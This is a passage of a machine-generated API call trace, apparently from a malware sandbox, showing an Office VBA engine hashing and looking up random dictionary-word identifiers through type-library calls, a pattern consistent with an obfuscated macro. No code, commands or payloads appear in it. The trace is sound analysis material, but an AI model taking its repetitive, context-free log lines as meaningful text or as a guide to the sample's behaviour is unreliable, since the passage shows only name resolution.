pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.283] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.283] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.283] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="flagellate", lHashVal=0x1050c9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.283] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.283] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.283] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="flagellate", lHashVal=0x1050c9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.283] IUnknown:Release (This=0x7479720) returned 0x5 [0018.283] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="flagellate") returned 0x1050c9 [0018.284] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_flagellate") returned 0x30bf33 [0018.284] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.284] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.284] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VarPtr") returned 0x10a662 [0018.284] strcpy_s (in: _Dst=0x263790, _DstSize=0x7, _Src="VarPtr" | out: _Dst="VarPtr") returned 0x0 [0018.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=7, lpWideCharStr=0x2635f0, cchWideChar=7 | out: lpWideCharStr="VarPtr") returned 7 [0018.284] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.284] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="VarPtr", lHashVal=0x10a662, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=1, pBstrLibName=0x2635f0) returned 0x0 [0018.284] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VarPtr", cchWideChar=-1, lpMultiByteStr=0x263790, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VarPtr", lpUsedDefaultChar=0x0) returned 7 [0018.284] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VarPtr") returned 0x10a662 [0018.284] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.284] ITypeInfo:GetRefTypeInfo (in: This=0x748ce40, hreftype=0x880, ppTInfo=0x2636c0 | out: ppTInfo=0x2636c0*=0x748d050) returned 0x0 [0018.284] IUnknown:QueryInterface (in: This=0x748d050, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263738 | out: ppvObject=0x263738*=0x0) returned 0x80004002 [0018.284] ITypeInfo:RemoteGetTypeAttr (in: This=0x748d050, ppTypeAttr=0x263740, pDummy=0x10 | out: ppTypeAttr=0x263740, pDummy=0x10) returned 0x0 [0018.284] ITypeInfo:LocalReleaseTypeAttr (This=0x748d050) returned 0x0 [0018.284] IUnknown:QueryInterface (in: This=0x748d050, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263600 | out: ppvObject=0x263600*=0x0) returned 0x80004002 [0018.284] IUnknown:QueryInterface (in: This=0x748d050, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263570 | out: ppvObject=0x263570*=0x0) returned 0x80004002 [0018.284] IUnknown:QueryInterface (in: This=0x748d050, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2635f0 | out: ppvObject=0x2635f0*=0x0) returned 0x80004002 [0018.284] ITypeInfo:RemoteGetTypeAttr (in: This=0x748d050, ppTypeAttr=0x263578, pDummy=0x10 | out: ppTypeAttr=0x263578, pDummy=0x10) returned 0x0 [0018.284] ITypeInfo:LocalReleaseTypeAttr (This=0x748d050) returned 0x0 [0018.284] IUnknown:AddRef (This=0x748d050) returned 0x2 [0018.284] IUnknown:QueryInterface (in: This=0x748d050, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263610 | out: ppvObject=0x263610*=0x0) returned 0x80004002 [0018.284] IUnknown:QueryInterface (in: This=0x748d050, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263648 | out: ppvObject=0x263648*=0x0) returned 0x80004002 [0018.284] IUnknown:Release (This=0x748d050) returned 0x1 [0018.284] ITypeInfo:RemoteGetTypeAttr (in: This=0x748d050, ppTypeAttr=0x263620, pDummy=0x18 | out: ppTypeAttr=0x263620, pDummy=0x18) returned 0x0 [0018.284] ITypeInfo:LocalReleaseTypeAttr (This=0x748d050) returned 0x0 [0018.284] IUnknown:Release (This=0x748d050) returned 0x1 [0018.285] ITypeInfo:RemoteGetTypeAttr (in: This=0x748d050, ppTypeAttr=0x263680, pDummy=0x18 | out: ppTypeAttr=0x263680, pDummy=0x18) returned 0x0 [0018.285] ITypeInfo:LocalReleaseTypeAttr (This=0x748d050) returned 0x0 [0018.285] ITypeInfo:RemoteGetTypeAttr (in: This=0x748ce40, ppTypeAttr=0x263998, pDummy=0x10 | out: ppTypeAttr=0x263998, pDummy=0x10) returned 0x0 [0018.285] ITypeInfo:LocalReleaseTypeAttr (This=0x748ce40) returned 0x0 [0018.285] IUnknown:AddRef (This=0x748ce40) returned 0x3 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="alligator") returned 0x104cd9 [0018.285] strcpy_s (in: _Dst=0x263790, _DstSize=0xa, _Src="alligator" | out: _Dst="alligator") returned 0x0 [0018.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=10, lpWideCharStr=0x2635f0, cchWideChar=10 | out: lpWideCharStr="alligator") returned 10 [0018.285] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.285] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="alligator", lHashVal=0x104cd9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.285] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.285] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.285] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="alligator", lHashVal=0x104cd9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.285] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.285] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.285] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="alligator", lHashVal=0x104cd9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.285] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.285] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.285] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="alligator", lHashVal=0x104cd9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.285] IUnknown:Release (This=0x7479720) returned 0x5 [0018.285] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="alligator") returned 0x104cd9 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_alligator") returned 0x30469d [0018.286] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.286] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="circumscribe") returned 0x10e3d3 [0018.286] strcpy_s (in: _Dst=0x263790, _DstSize=0xd, _Src="circumscribe" | out: _Dst="circumscribe") returned 0x0 [0018.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=13, lpWideCharStr=0x2635f0, cchWideChar=13 | out: lpWideCharStr="circumscribe") returned 13 [0018.286] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.286] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="circumscribe", lHashVal=0x10e3d3, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.286] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.286] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.286] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="circumscribe", lHashVal=0x10e3d3, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.286] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.286] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.286] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="circumscribe", lHashVal=0x10e3d3, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.286] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.286] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.286] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="circumscribe", lHashVal=0x10e3d3, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.286] IUnknown:Release (This=0x7479720) returned 0x5 [0018.286] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="circumscribe") returned 0x10e3d3 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_circumscribe") returned 0x301cf0 [0018.287] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.287] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jhilmil") returned 0x10a7b5 [0018.287] strcpy_s (in: _Dst=0x263790, _DstSize=0x8, _Src="jhilmil" | out: _Dst="jhilmil") returned 0x0 [0018.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=8, lpWideCharStr=0x2635f0, cchWideChar=8 | out: lpWideCharStr="jhilmil") returned 8 [0018.287] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.287] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="jhilmil", lHashVal=0x10a7b5, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.287] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.287] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.287] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="jhilmil", lHashVal=0x10a7b5, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.287] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.287] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.287] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="jhilmil", lHashVal=0x10a7b5, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.287] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.287] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.287] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="jhilmil", lHashVal=0x10a7b5, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.287] IUnknown:Release (This=0x7479720) returned 0x5 [0018.287] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jhilmil") returned 0x10a7b5 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_jhilmil") returned 0x30ab39 [0018.287] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.287] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ableness") returned 0x101fbe [0018.287] strcpy_s (in: _Dst=0x263790, _DstSize=0x9, _Src="ableness" | out: _Dst="ableness") returned 0x0 [0018.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=9, lpWideCharStr=0x2635f0, cchWideChar=9 | out: lpWideCharStr="ableness") returned 9 [0018.287] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.287] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ableness", lHashVal=0x101fbe, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.287] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.287] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.287] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ableness", lHashVal=0x101fbe, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.288] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.288] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ableness", lHashVal=0x101fbe, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.288] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.288] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ableness", lHashVal=0x101fbe, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x7479720) returned 0x5 [0018.288] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ableness") returned 0x101fbe [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ableness") returned 0x30f786 [0018.288] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.288] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="parrotia") returned 0x10d809 [0018.288] strcpy_s (in: _Dst=0x263790, _DstSize=0x9, _Src="parrotia" | out: _Dst="parrotia") returned 0x0 [0018.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=9, lpWideCharStr=0x2635f0, cchWideChar=9 | out: lpWideCharStr="parrotia") returned 9 [0018.288] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.288] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="parrotia", lHashVal=0x10d809, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.288] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.288] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="parrotia", lHashVal=0x10d809, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.288] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.288] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="parrotia", lHashVal=0x10d809, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.288] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.288] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="parrotia", lHashVal=0x10d809, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.288] IUnknown:Release (This=0x7479720) returned 0x5 [0018.288] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="parrotia") returned 0x10d809 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_parrotia") returned 0x30af92 [0018.289] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.289] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="arcturus") returned 0x107a4d [0018.289] strcpy_s (in: _Dst=0x263790, _DstSize=0x9, _Src="arcturus" | out: _Dst="arcturus") returned 0x0 [0018.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=9, lpWideCharStr=0x2635f0, cchWideChar=9 | out: lpWideCharStr="arcturus") returned 9 [0018.289] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.289] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="arcturus", lHashVal=0x107a4d, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.289] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.289] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.289] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="arcturus", lHashVal=0x107a4d, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.289] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.289] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.289] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="arcturus", lHashVal=0x107a4d, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.289] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.289] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.289] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="arcturus", lHashVal=0x107a4d, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.289] IUnknown:Release (This=0x7479720) returned 0x5 [0018.289] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="arcturus") returned 0x107a4d [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_arcturus") returned 0x3051d6 [0018.289] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.289] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="carposporic") returned 0x10e38c [0018.290] strcpy_s (in: _Dst=0x263790, _DstSize=0xc, _Src="carposporic" | out: _Dst="carposporic") returned 0x0 [0018.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=12, lpWideCharStr=0x2635f0, cchWideChar=12 | out: lpWideCharStr="carposporic") returned 12 [0018.290] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.290] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="carposporic", lHashVal=0x10e38c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.290] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.290] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="carposporic", lHashVal=0x10e38c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.290] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.290] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="carposporic", lHashVal=0x10e38c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.290] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.290] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="carposporic", lHashVal=0x10e38c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x7479720) returned 0x5 [0018.290] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="seaside") returned 0x105be9 [0018.290] strcpy_s (in: _Dst=0x263790, _DstSize=0x8, _Src="seaside" | out: _Dst="seaside") returned 0x0 [0018.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=8, lpWideCharStr=0x2635f0, cchWideChar=8 | out: lpWideCharStr="seaside") returned 8 [0018.290] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.290] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="seaside", lHashVal=0x105be9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.290] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.290] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="seaside", lHashVal=0x105be9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.290] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.290] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="seaside", lHashVal=0x105be9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.290] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.290] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="seaside", lHashVal=0x105be9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.290] IUnknown:Release (This=0x7479720) returned 0x5 [0018.290] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="seaside") returned 0x105be9 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_seaside") returned 0x305f6d [0018.291] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.291] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bacillariophyceae") returned 0x107370 [0018.291] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bacillariophyceae") returned 0x107370 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bacillariophyceae") returned 0x30f5b2 [0018.291] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.291] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="enforced") returned 0x1044d9 [0018.291] strcpy_s (in: _Dst=0x263790, _DstSize=0x9, _Src="enforced" | out: _Dst="enforced") returned 0x0 [0018.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=9, lpWideCharStr=0x2635f0, cchWideChar=9 | out: lpWideCharStr="enforced") returned 9 [0018.291] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.291] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="enforced", lHashVal=0x1044d9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.291] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.291] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.291] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="enforced", lHashVal=0x1044d9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.291] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.291] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.291] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="enforced", lHashVal=0x1044d9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.291] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.291] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.292] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="enforced", lHashVal=0x1044d9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.292] IUnknown:Release (This=0x7479720) returned 0x5 [0018.292] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="enforced") returned 0x1044d9 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_enforced") returned 0x301c62 [0018.292] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.292] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tegucigalpa") returned 0x10c6b6 [0018.292] strcpy_s (in: _Dst=0x263790, _DstSize=0xc, _Src="tegucigalpa" | out: _Dst="tegucigalpa") returned 0x0 [0018.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=12, lpWideCharStr=0x2635f0, cchWideChar=12 | out: lpWideCharStr="tegucigalpa") returned 12 [0018.292] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.292] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="tegucigalpa", lHashVal=0x10c6b6, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.292] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.292] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.292] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="tegucigalpa", lHashVal=0x10c6b6, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.292] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.292] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.292] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="tegucigalpa", lHashVal=0x10c6b6, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.292] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.292] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.292] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="tegucigalpa", lHashVal=0x10c6b6, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.292] IUnknown:Release (This=0x7479720) returned 0x5 [0018.292] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tegucigalpa") returned 0x10c6b6 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_tegucigalpa") returned 0x30b818 [0018.293] 